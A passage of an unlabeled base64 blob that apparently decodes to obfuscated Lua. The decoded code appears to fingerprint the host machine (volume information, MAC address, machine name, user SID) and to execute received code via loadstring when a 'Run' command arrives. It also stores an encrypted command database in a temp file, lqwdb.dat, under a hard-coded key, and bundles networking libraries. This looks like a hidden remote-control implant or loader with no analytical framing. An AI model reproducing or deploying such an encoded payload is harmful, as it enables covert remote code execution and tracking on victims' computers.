dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
bW9kdWxlKCJzb2NrZXQudXJsIikKX1ZFUlNJT049IlVSTCAxLjAuMSIKZnVuY3Rpb24gZXNjYXBl
KHQpCnJldHVybiBlLmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQpyZXR1cm4g
ZS5mb3JtYXQoIiUlJTAyeCIsZS5ieXRlKHQpKQplbmQpCmVuZApsb2NhbCBmdW5jdGlvbiBuKGUp
CmxvY2FsIHQ9e30KZm9yIGEsbyBpbiBvLmlwYWlycyhlKWRvCnRbZVthXV09MQplbmQKcmV0dXJu
IHQKZW5kCmxvY2FsIGE9bnsKIi0iLCJfIiwiLiIsIiEiLCJ+IiwiKiIsIiciLCIoIiwKIikiLCI6
IiwiQCIsIiYiLCI9IiwiKyIsIiQiLCIsIiwKfQpsb2NhbCBmdW5jdGlvbiBuKHQpCnJldHVybiBl
LmdzdWIodCwiKFteQS1aYS16MC05X10pIixmdW5jdGlvbih0KQppZiBhW3RddGhlbiByZXR1cm4g
dAplbHNlIHJldHVybiBlLmZvcm1hdCgiJSUlMDJ4IixlLmJ5dGUodCkpZW5kCmVuZCkKZW5kCmZ1
bmN0aW9uIHVuZXNjYXBlKHQpCnJldHVybiBlLmdzdWIodCwiJSUoJXgleCkiLGZ1bmN0aW9uKHQp
CnJldHVybiBlLmNoYXIoby50b251bWJlcih0LDE2KSkKZW5kKQplbmQKbG9jYWwgZnVuY3Rpb24g
cyh0LGEpCmlmIGUuc3ViKGEsMSwxKT09Ii8idGhlbiByZXR1cm4gYSBlbmQKbG9jYWwgdD1lLmdz
dWIodCwiW14vXSokIiwiIikKdD10Li5hCnQ9ZS5nc3ViKHQsIihbXi9dKiUuLykiLGZ1bmN0aW9u
KGUpCmlmIGV+PSIuLyJ0aGVuIHJldHVybiBlIGVsc2UgcmV0dXJuIiJlbmQKZW5kKQp0PWUuZ3N1
Yih0LCIvJS4kIiwiLyIpCmxvY2FsIGEKd2hpbGUgYX49dCBkbwphPXQKdD1lLmdzdWIoYSwiKFte
L10qLyUuJS4vKSIsZnVuY3Rpb24oZSkKaWYgZX49Ii4uLy4uLyJ0aGVuIHJldHVybiIiZWxzZSBy
ZXR1cm4gZSBlbmQKZW5kKQplbmQKdD1lLmdzdWIoYSwiKFteL10qLyUuJS4pJCIsZnVuY3Rpb24o
ZSkKaWYgZX49Ii4uLy4uInRoZW4gcmV0dXJuIiJlbHNlIHJldHVybiBlIGVuZAplbmQpCnJldHVy
biB0CmVuZApmdW5jdGlvbiBwYXJzZShhLGkpCmxvY2FsIHQ9e30KZm9yIGUsYSBpbiBvLnBhaXJz
KGkgb3IgdClkbyB0W2VdPWEgZW5kCmlmIG5vdCBhIG9yIGE9PSIidGhlbiByZXR1cm4gbmlsLCJp
bnZhbGlkIHVybCJlbmQKYT1lLmdzdWIoYSwiIyguKikkIixmdW5jdGlvbihlKQp0LmZyYWdtZW50
PWUKcmV0dXJuIiIKZW5kKQphPWUuZ3N1YihhLCJeKFsld11bJXclKyUtJS5dKiklOiIsCmZ1bmN0
aW9uKGUpdC5zY2hlbWU9ZTtyZXR1cm4iImVuZCkKYT1lLmdzdWIoYSwiXi8vKFteL10qKSIsZnVu
Y3Rpb24oZSkKdC5hdXRob3JpdHk9ZQpyZXR1cm4iIgplbmQpCmE9ZS5nc3ViKGEsIiU/KC4qKSIs
ZnVuY3Rpb24oZSkKdC5xdWVyeT1lCnJldHVybiIiCmVuZCkKYT1lLmdzdWIoYSwiJTsoLiopIixm
dW5jdGlvbihlKQp0LnBhcmFtcz1lCnJldHVybiIiCmVuZCkKaWYgYX49IiJ0aGVuIHQucGF0aD1h
IGVuZApsb2NhbCBhPXQuYXV0aG9yaXR5CmlmIG5vdCBhIHRoZW4gcmV0dXJuIHQgZW5kCmE9ZS5n
c3ViKGEsIl4oW15AXSopQCIsCmZ1bmN0aW9uKGUpdC51c2VyaW5mbz1lO3JldHVybiIiZW5kKQph
PWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucG9ydD1lO3JldHVybiIiZW5kKQpp
ZiBhfj0iInRoZW4gdC5ob3N0PWEgZW5kCmxvY2FsIGE9dC51c2VyaW5mbwppZiBub3QgYSB0aGVu
IHJldHVybiB0IGVuZAphPWUuZ3N1YihhLCI6KFteOl0qKSQiLApmdW5jdGlvbihlKXQucGFzc3dv
cmQ9ZTtyZXR1cm4iImVuZCkKdC51c2VyPWEKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkKGUp
CmxvY2FsIHQ9cGFyc2VfcGF0aChlLnBhdGggb3IiIikKbG9jYWwgdD1idWlsZF9wYXRoKHQpCmlm
IGUucGFyYW1zIHRoZW4gdD10Li4iOyIuLmUucGFyYW1zIGVuZAppZiBlLnF1ZXJ5IHRoZW4gdD10
Li4iPyIuLmUucXVlcnkgZW5kCmxvY2FsIGE9ZS5hdXRob3JpdHkKaWYgZS5ob3N0IHRoZW4KYT1l
Lmhvc3QKaWYgZS5wb3J0IHRoZW4gYT1hLi4iOiIuLmUucG9ydCBlbmQKbG9jYWwgdD1lLnVzZXJp
bmZvCmlmIGUudXNlciB0aGVuCnQ9ZS51c2VyCmlmIGUucGFzc3dvcmQgdGhlbgp0PXQuLiI6Ii4u
ZS5wYXNzd29yZAplbmQKZW5kCmlmIHQgdGhlbiBhPXQuLiJAIi4uYSBlbmQKZW5kCmlmIGEgdGhl
biB0PSIvLyIuLmEuLnQgZW5kCmlmIGUuc2NoZW1lIHRoZW4gdD1lLnNjaGVtZS4uIjoiLi50IGVu
ZAppZiBlLmZyYWdtZW50IHRoZW4gdD10Li4iIyIuLmUuZnJhZ21lbnQgZW5kCnJldHVybiB0CmVu
ZApmdW5jdGlvbiBhYnNvbHV0ZSh0LGEpCmlmIG8udHlwZSh0KT09InRhYmxlInRoZW4KYmFzZV9w
YXJzZWQ9dAp0PWJ1aWxkKGJhc2VfcGFyc2VkKQplbHNlCmJhc2VfcGFyc2VkPXBhcnNlKHQpCmVu
ZApsb2NhbCBlPXBhcnNlKGEpCmlmIG5vdCBiYXNlX3BhcnNlZCB0aGVuIHJldHVybiBhCmVsc2Vp
ZiBub3QgZSB0aGVuIHJldHVybiB0CmVsc2VpZiBlLnNjaGVtZSB0aGVuIHJldHVybiBhCmVsc2UK
ZS5zY2hlbWU9YmFzZV9wYXJzZWQuc2NoZW1lCmlmIG5vdCBlLmF1dGhvcml0eSB0aGVuCmUuYXV0
aG9yaXR5PWJhc2VfcGFyc2VkLmF1dGhvcml0eQppZiBub3QgZS5wYXRoIHRoZW4KZS5wYXRoPWJh
c2VfcGFyc2VkLnBhdGgKaWYgbm90IGUucGFyYW1zIHRoZW4KZS5wYXJhbXM9YmFzZV9wYXJzZWQu
cGFyYW1zCmlmIG5vdCBlLnF1ZXJ5IHRoZW4KZS5xdWVyeT1iYXNlX3BhcnNlZC5xdWVyeQplbmQK
ZW5kCmVsc2UKZS5wYXRoPXMoYmFzZV9wYXJzZWQucGF0aCBvciIiLAplLnBhdGgpCmVuZAplbmQK
cmV0dXJuIGJ1aWxkKGUpCmVuZAplbmQKZnVuY3Rpb24gcGFyc2VfcGF0aChhKQpsb2NhbCB0PXt9
CmE9YSBvciIiCmUuZ3N1YihhLCIoW14vXSspIixmdW5jdGlvbihlKWkuaW5zZXJ0KHQsZSllbmQp
CmZvciBlPTEsaS5nZXRuKHQpZG8KdFtlXT11bmVzY2FwZSh0W2VdKQplbmQKaWYgZS5zdWIoYSwx
LDEpPT0iLyJ0aGVuIHQuaXNfYWJzb2x1dGU9MSBlbmQKaWYgZS5zdWIoYSwtMSwtMSk9PSIvInRo
ZW4gdC5pc19kaXJlY3Rvcnk9MSBlbmQKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIGJ1aWxkX3BhdGgo
dCxvKQpsb2NhbCBlPSIiCmxvY2FsIGE9aS5nZXRuKHQpCmlmIG8gdGhlbgpmb3IgYT0xLGEtMSBk
bwplPWUuLnRbYV0KZT1lLi4iLyIKZW5kCmlmIGE+MCB0aGVuCmU9ZS4udFthXQppZiB0LmlzX2Rp
cmVjdG9yeSB0aGVuIGU9ZS4uIi8iZW5kCmVuZAplbHNlCmZvciBhPTEsYS0xIGRvCmU9ZS4ubih0
W2FdKQplPWUuLiIvIgplbmQKaWYgYT4wIHRoZW4KZT1lLi5uKHRbYV0pCmlmIHQuaXNfZGlyZWN0
b3J5IHRoZW4gZT1lLi4iLyJlbmQKZW5kCmVuZAppZiB0LmlzX2Fic29sdXRlIHRoZW4gZT0iLyIu
LmUgZW5kCnJldHVybiBlCmVuZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbHRuMTInXT0oZnVuY3Rp
b24oLi4uKQpsb2NhbCBzPXJlcXVpcmUoInN0cmluZyIpCmxvY2FsIG89cmVxdWlyZSgidGFibGUi
KQpsb2NhbCBlPV9HCm1vZHVsZSgibHRuMTIiKQpmaWx0ZXI9e30Kc291cmNlPXt9CnNpbms9e30K
cHVtcD17fQpCTE9DS1NJWkU9MjA0OApfVkVSU0lPTj0iTFROMTIgMS4wLjEiCmZ1bmN0aW9uIGZp
bHRlci5jeWNsZShhLHQsbykKZS5hc3NlcnQoYSkKcmV0dXJuIGZ1bmN0aW9uKGkpCmxvY2FsIGUK
ZSx0PWEodCxpLG8pCnJldHVybiBlCmVuZAplbmQKZnVuY3Rpb24gZmlsdGVyLmNoYWluKC4uLikK
bG9jYWwgbj1vLmdldG4oYXJnKQpsb2NhbCBvLGE9MSwxCmxvY2FsIGk9IiIKcmV0dXJuIGZ1bmN0
aW9uKHQpCmk9dCBhbmQgaQp3aGlsZSB0cnVlIGRvCmlmIGE9PW8gdGhlbgp0PWFyZ1thXSh0KQpp
ZiB0PT0iIm9yIG89PW4gdGhlbiByZXR1cm4gdAplbHNlaWYgdCB0aGVuIGE9YSsxCmVsc2UKbz1v
KzEKYT1vCmVuZAplbHNlCnQ9YXJnW2FdKHQgb3IiIikKaWYgdD09IiJ0aGVuCmE9YS0xCnQ9aQpl
bHNlaWYgdCB0aGVuCmlmIGE9PW4gdGhlbiByZXR1cm4gdAplbHNlIGE9YSsxIGVuZAplbHNlIGUu
ZXJyb3IoImZpbHRlciByZXR1cm5lZCBpbmFwcHJvcHJpYXRlIG5pbCIpZW5kCmVuZAplbmQKZW5k
CmVuZApsb2NhbCBmdW5jdGlvbiB0KCkKcmV0dXJuIG5pbAplbmQKZnVuY3Rpb24gc291cmNlLmVt
cHR5KCkKcmV0dXJuIHQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5lcnJvcihlKQpyZXR1cm4gZnVuY3Rp
b24oKQpyZXR1cm4gbmlsLGUKZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UuZmlsZShlLGEpCmlmIGUg
dGhlbgpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCB0PWU6cmVhZChCTE9DS1NJWkUpCmlmIG5vdCB0
IHRoZW4gZTpjbG9zZSgpZW5kCnJldHVybiB0CmVuZAplbHNlIHJldHVybiBzb3VyY2UuZXJyb3Io
YSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5zaW1wbGlm
eSh0KQplLmFzc2VydCh0KQpyZXR1cm4gZnVuY3Rpb24oKQpsb2NhbCBlLGE9dCgpCnQ9YSBvciB0
CmlmIG5vdCBlIHRoZW4gcmV0dXJuIG5pbCxhCmVsc2UgcmV0dXJuIGUgZW5kCmVuZAplbmQKZnVu
Y3Rpb24gc291cmNlLnN0cmluZyh0KQppZiB0IHRoZW4KbG9jYWwgZT0xCnJldHVybiBmdW5jdGlv
bigpCmxvY2FsIHQ9cy5zdWIodCxlLGUrQkxPQ0tTSVpFLTEpCmU9ZStCTE9DS1NJWkUKaWYgdH49
IiJ0aGVuIHJldHVybiB0CmVsc2UgcmV0dXJuIG5pbCBlbmQKZW5kCmVsc2UgcmV0dXJuIHNvdXJj
ZS5lbXB0eSgpZW5kCmVuZApmdW5jdGlvbiBzb3VyY2UucmV3aW5kKGEpCmUuYXNzZXJ0KGEpCmxv
Y2FsIHQ9e30KcmV0dXJuIGZ1bmN0aW9uKGUpCmlmIG5vdCBlIHRoZW4KZT1vLnJlbW92ZSh0KQpp
ZiBub3QgZSB0aGVuIHJldHVybiBhKCkKZWxzZSByZXR1cm4gZSBlbmQKZWxzZQpvLmluc2VydCh0
LGUpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNvdXJjZS5jaGFpbihzLG4pCmUuYXNzZXJ0KHMgYW5k
IG4pCmxvY2FsIGEsdD0iIiwiIgpsb2NhbCBpPSJmZWVkaW5nIgpsb2NhbCBvCnJldHVybiBmdW5j
dGlvbigpCmlmIG5vdCB0IHRoZW4KZS5lcnJvcignc291cmNlIGlzIGVtcHR5IScsMikKZW5kCndo
aWxlIHRydWUgZG8KaWYgaT09ImZlZWRpbmcidGhlbgphLG89cygpCmlmIG8gdGhlbiByZXR1cm4g
bmlsLG8gZW5kCnQ9bihhKQppZiBub3QgdCB0aGVuCmlmIGEgdGhlbgplLmVycm9yKCdmaWx0ZXIg
cmV0dXJuZWQgaW5hcHByb3ByaWF0ZSBuaWwnKQplbHNlCnJldHVybiBuaWwKZW5kCmVsc2VpZiB0
fj0iInRoZW4KaT0iZWF0aW5nIgppZiBhIHRoZW4gYT0iImVuZApyZXR1cm4gdAplbmQKZWxzZQp0
PW4oYSkKaWYgdD09IiJ0aGVuCmlmIGE9PSIidGhlbgppPSJmZWVkaW5nIgplbHNlCmUuZXJyb3Io
J2ZpbHRlciByZXR1cm5lZCAiIicpCmVuZAplbHNlaWYgbm90IHQgdGhlbgppZiBhIHRoZW4KZS5l
cnJvcignZmlsdGVyIHJldHVybmVkIGluYXBwcm9wcmlhdGUgbmlsJykKZWxzZQpyZXR1cm4gbmls
CmVuZAplbHNlCnJldHVybiB0CmVuZAplbmQKZW5kCmVuZAplbmQKZnVuY3Rpb24gc291cmNlLmNh
dCguLi4pCmxvY2FsIGU9by5yZW1vdmUoYXJnLDEpCnJldHVybiBmdW5jdGlvbigpCndoaWxlIGUg
ZG8KbG9jYWwgdCxhPWUoKQppZiB0IHRoZW4gcmV0dXJuIHQgZW5kCmlmIGEgdGhlbiByZXR1cm4g
bmlsLGEgZW5kCmU9by5yZW1vdmUoYXJnLDEpCmVuZAplbmQKZW5kCmZ1bmN0aW9uIHNpbmsudGFi
bGUoZSkKZT1lIG9ye30KbG9jYWwgdD1mdW5jdGlvbih0LGEpCmlmIHQgdGhlbiBvLmluc2VydChl
LHQpZW5kCnJldHVybiAxCmVuZApyZXR1cm4gdCxlCmVuZApmdW5jdGlvbiBzaW5rLnNpbXBsaWZ5
KHQpCmUuYXNzZXJ0KHQpCnJldHVybiBmdW5jdGlvbihlLGEpCmxvY2FsIGEsZT10KGUsYSkKaWYg
bm90IGEgdGhlbiByZXR1cm4gbmlsLGUgZW5kCnQ9ZSBvciB0CnJldHVybiAxCmVuZAplbmQKZnVu
Y3Rpb24gc2luay5maWxlKGUsYSkKaWYgZSB0aGVuCnJldHVybiBmdW5jdGlvbih0LGEpCmlmIG5v
dCB0IHRoZW4KZTpjbG9zZSgpCnJldHVybiAxCmVsc2UgcmV0dXJuIGU6d3JpdGUodCllbmQKZW5k
CmVsc2UgcmV0dXJuIHNpbmsuZXJyb3IoYSBvciJ1bmFibGUgdG8gb3BlbiBmaWxlIillbmQKZW5k
CmxvY2FsIGZ1bmN0aW9uIHQoKQpyZXR1cm4gMQplbmQKZnVuY3Rpb24gc2luay5udWxsKCkKcmV0
dXJuIHQKZW5kCmZ1bmN0aW9uIHNpbmsuZXJyb3IoZSkKcmV0dXJuIGZ1bmN0aW9uKCkKcmV0dXJu
IG5pbCxlCmVuZAplbmQKZnVuY3Rpb24gc2luay5jaGFpbihhLG8pCmUuYXNzZXJ0KGEgYW5kIG8p
CnJldHVybiBmdW5jdGlvbih0LGkpCmlmIHR+PSIidGhlbgpsb2NhbCBlPWEodCkKbG9jYWwgdD10
IGFuZCIiCndoaWxlIHRydWUgZG8KbG9jYWwgaSxvPW8oZSxpKQppZiBub3QgaSB0aGVuIHJldHVy
biBuaWwsbyBlbmQKaWYgZT09dCB0aGVuIHJldHVybiAxIGVuZAplPWEodCkKZW5kCmVsc2UgcmV0
dXJuIDEgZW5kCmVuZAplbmQKZnVuY3Rpb24gcHVtcC5zdGVwKGUsYSkKbG9jYWwgdCxlPWUoKQps
b2NhbCBvLGE9YSh0LGUpCmlmIHQgYW5kIG8gdGhlbiByZXR1cm4gMQplbHNlIHJldHVybiBuaWws
ZSBvciBhIGVuZAplbmQKZnVuY3Rpb24gcHVtcC5hbGwobyxhLHQpCmUuYXNzZXJ0KG8gYW5kIGEp
CnQ9dCBvciBwdW1wLnN0ZXAKd2hpbGUgdHJ1ZSBkbwpsb2NhbCB0LGU9dChvLGEpCmlmIG5vdCB0
IHRoZW4KaWYgZSB0aGVuIHJldHVybiBuaWwsZQplbHNlIHJldHVybiAxIGVuZAplbmQKZW5kCmVu
ZAplbmQpCnBhY2thZ2UucHJlbG9hZFsnbWltZSddPShmdW5jdGlvbiguLi4pCmxvY2FsIG89X0cK
bG9jYWwgZT1yZXF1aXJlKCJsdG4xMiIpCmxvY2FsIHQ9cmVxdWlyZSgibWltZS5jb3JlIikKbG9j
YWwgdD1yZXF1aXJlKCJpbyIpCmxvY2FsIG49cmVxdWlyZSgic3RyaW5nIikKbW9kdWxlKCJtaW1l
IikKZW5jb2RldD17fQpkZWNvZGV0PXt9CndyYXB0PXt9CmxvY2FsIGZ1bmN0aW9uIGEoYSkKcmV0
dXJuIGZ1bmN0aW9uKGUsdCxpKQppZiBvLnR5cGUoZSl+PSJzdHJpbmcidGhlbgplLHQsaT0iZGVm
